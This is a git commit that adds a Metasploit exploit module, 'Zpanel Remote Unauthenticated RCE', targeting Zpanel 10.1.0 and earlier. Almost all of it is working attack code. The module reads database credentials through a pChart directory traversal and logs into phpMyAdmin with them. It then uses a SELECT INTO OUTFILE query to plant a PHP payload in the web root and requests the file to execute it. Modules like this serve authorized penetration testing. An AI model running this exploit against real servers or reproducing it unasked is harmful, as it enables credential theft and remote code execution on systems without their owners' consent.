Removing hard tabs test
brent morris
parent
6406a66bc0
commit
4ee7ba05aa
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@ -0,0 +1,265 @@
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require 'msf/core'
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require 'msf/core/exploit/php_exe'
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class Metasploit3 < Msf::Exploit::Remote
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::FileDropper
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include Msf::Exploit::PhpEXE
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Zpanel Remote Unauthenticated RCE',
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'Description' => %q{
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This module exploits an information disclosure vulnerability
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found in Zpanel <= 10.1.0. The vulnerability exposed due to a
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vulnerable version of pChart allowing remote, unauthenticated,
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users to read arbitrary files found on the filesystem. This
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particular module utilizes this vulnerability to identify the
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username/password combination of the MySQL instance. With the
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credentials the attackers can login to PHPMyAdmin and execute
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SQL commands to drop a malicious payload on the filesystem and
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call it leading to remote code execution.
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},
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'Author' => [
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'dawn isabel', #dawn.isabel[at]gmail.com
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'brad wolfe', #brad.wolfe[at]gmail.com
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'brent morris', #inkrypto[at]gmail.com
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'james fitts' #fitts.james[at]gmail.com
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2013-2097' ],
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[ 'EDB', '31173' ], # pChart
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[ 'OSVDB', '102595' ], # pChart
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[ 'URL', 'http://bugs.zpanelcp.com/view.php?id=665' ],
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[ 'URL', 'http://seclists.org/fulldisclosure/2013/Jun/39' ],
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[ 'URL', 'http://www.reddit.com/r/netsec/comments/1ee0eg/zpanel_support_team_calls_forum_user_fucken/' ]
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],
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'Payload' =>
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{
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'BadChars' => "\x00",
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},
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'Platform' => 'php',
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'Arch' => ARCH_PHP,
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'Targets' =>
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[
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[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
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[ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Jan 30 2014'))
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register_options(
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[
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OptString.new('TARGETURI', [true, 'The base path to Zpanel', '/zpanel'])
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], self.class)
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end
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def dot_dot_slash(uri)
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res = send_request_cgi({
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'method' => 'get',
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'uri' => normalize_uri("#{uri}", "etc", "lib", "pChart2", "examples", "index.php"),
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'vars_get' => {
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'Action' => 'View',
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'Script' => '../../../../cnf/db.php'
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},
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'version' => "1.1",
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})
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uname = res.body.scan(/(?<=\$user <\/span><span style\="color: #007700"\>= <\/span><span style\="color: #DD0000"\>')[A-Za-z0-9]+/)
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passwd = res.body.scan(/(?<=\$pass <\/span><span style\="color: #007700"\>= <\/span><span style\="color: #DD0000"\>')[A-Za-z0-9@#\$\%\^\&\+=_]+/)
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dbname = res.body.scan(/(?<=\$dbname <\/span><span style\="color: #007700"\>= <\/span><span style\="color: #DD0000"\>')[A-Za-z0-9_]+/)
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return uname, passwd, dbname
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end
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def grab_sess_and_token(uri)
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print_status("Attempting to get PHPSESSIONID")
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri("#{uri}"),
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'version' => '1.1'
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})
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sess_id = "#{res.headers['Set-Cookie'].to_s.scan(/(?<=PHPSESSID=)[A-Za-z0-9]+/)}"
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sess_id = sess_id[2..-3]
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if sess_id.length > 0
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print_good("PHPSESSID identified!")
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print_good("PHPSESSID = #{sess_id}")
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print_status("Attempting to get CSRF token")
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri("#{uri}", "etc", "apps", "phpmyadmin", "index.php"),
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'version' => '1.1',
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'Cookie' => "PHPSESSID=#{sess_id}"
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})
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token = "#{res.body.to_s.scan(/(?<=name\="token" value\=")[A-Za-z0-9]+/)}"
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token = token.to_s[2..-3]
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token = token[0..31]
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cookies = res.get_cookies
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cookies = cookies.split("; ")
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cookies = "#{cookies[-1]} #{cookies[1]}; #{cookies[2]}; #{cookies[3]}; PHPSESSID=#{sess_id}"
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if token.length > 0
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print_good("CSRF token identified!")
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print_good("CSRF token = #{token}")
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return cookies, token, sess_id
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else
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print_error("CSRF token could not be identified...")
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end
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else
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print_error("PHPSESSID could not be identified...")
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end
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end
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def login_phpmyadmin(uri, uname, passwd, cookies, token, sess_id)
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old_cookies = cookies
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri("etc", "apps", "phpmyadmin", "index.php"),
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'cookie' => cookies,
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'ctype' => "application/x-www-form-urlencoded",
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'headers' => {
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'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/",
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},
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'vars_post' => {
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'pma_username' => uname,
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'pma_password' => passwd,
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'server' => "1",
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'lang' => "en",
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'collation_connection' => "utf8_general_ci",
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'token' => token
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}
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})
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cookies = "#{res.get_cookies}"
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old_cookies = old_cookies.split("; ")
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cookies = cookies.split("; ")
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new_cookies = "#{old_cookies[0]}; "
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new_cookies << "#{old_cookies[1]}; "
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new_cookies << "#{old_cookies[2]}; "
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new_cookies << "#{old_cookies[3]}; "
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new_cookies << "#{cookies[0]}; "
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new_cookies << "#{cookies[1]} "
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new_cookies << "PHPSESSID=#{sess_id}"
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token = res['Location'].to_s.scan(/(?<=token\=)[A-Za-z0-9]+/)
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token = token.to_s[2..-3]
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri("etc", "apps", "phpmyadmin", "index.php"),
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'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/",
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'cookie' => new_cookies,
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'vars_get' => {
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'token' => token
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}
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})
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if res.code == 200 and res.body.to_s =~ /phpMyAdmin is more friendly with a/
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print_good("PHPMyAdmin login successful!")
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return new_cookies, token
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end
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end
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def do_sql(cookies, token, uri)
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fname = "#{rand_text_alpha_upper(5)}.php"
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sql_stmt = "SELECT \"<?php #{payload.encoded} ?>\" INTO OUTFILE \"/etc/zpanel/panel/#{fname}\""
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri("etc", "apps", "phpmyadmin", "import.php"),
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'version' => '1.1',
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'cookie' => cookies,
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'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8',
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'headers' => {
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'X-Requested-With' => "XMLHttpRequest",
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'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/server_sql.php?token=#{token}"
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},
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'vars_post' => {
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'is_js_confirmed' => "0",
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'token' => token,
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'pos' => "0",
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'goto' => "server_sql.php",
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'message_to_show' => "Your+SQL+query+has+been+executed+successfully",
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'prev_sql_query' => "",
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'sql_query' => sql_stmt,
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'sql_delimiter' => ";",
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'show_query' => "1",
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'ajax_request' => "true",
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'_nocache' => rand.to_s[2..19].to_i
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},
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})
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if res.body =~ /"success":true/
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print_good("'#{fname}' successfully uploaded")
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print_status("Executing '#{fname}' on the remote host")
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri("#{uri}", "#{fname}"),
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'version' => '1.1'
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})
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else
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print_error("#{res.body.to_s}")
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end
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end
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def exploit
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uri = target_uri.path
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uri << '/' if uri[-1,1] != '/'
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peer = "#{rhost}:#{rport}"
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# Checking pChart
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri("#{uri}", "etc", "lib", "pChart2", "examples", "index.php")
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})
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# if pChart is vuln version
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if res.body =~ /pChart 2.x/
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db_info = dot_dot_slash(uri)
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db_info = db_info.flatten
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uname = db_info[0]
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passwd = db_info[1]
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db_name = db_info[2]
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if uname.length > 0 and passwd.length > 0
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print_good("Directory traversal successful, Username/Password identified!")
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print_good("Username: #{uname.to_s}")
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print_good("Password: #{passwd.to_s}")
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print_good("DB Name: #{db_name.to_s}")
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cookies, token, sess_id = grab_sess_and_token(uri)
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print_status("Logging into PHPMyAdmin now")
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cookies, token = login_phpmyadmin(uri, uname, passwd, cookies, token, sess_id)
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print_status("Uploading malicious payload now")
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do_sql(cookies, token, uri)
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else
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print_error("It appears that the directory traversal was unsuccessful...")
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end
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else
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print_error("It appears that the version of pChart is not vulnerable...")
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end
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end
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end
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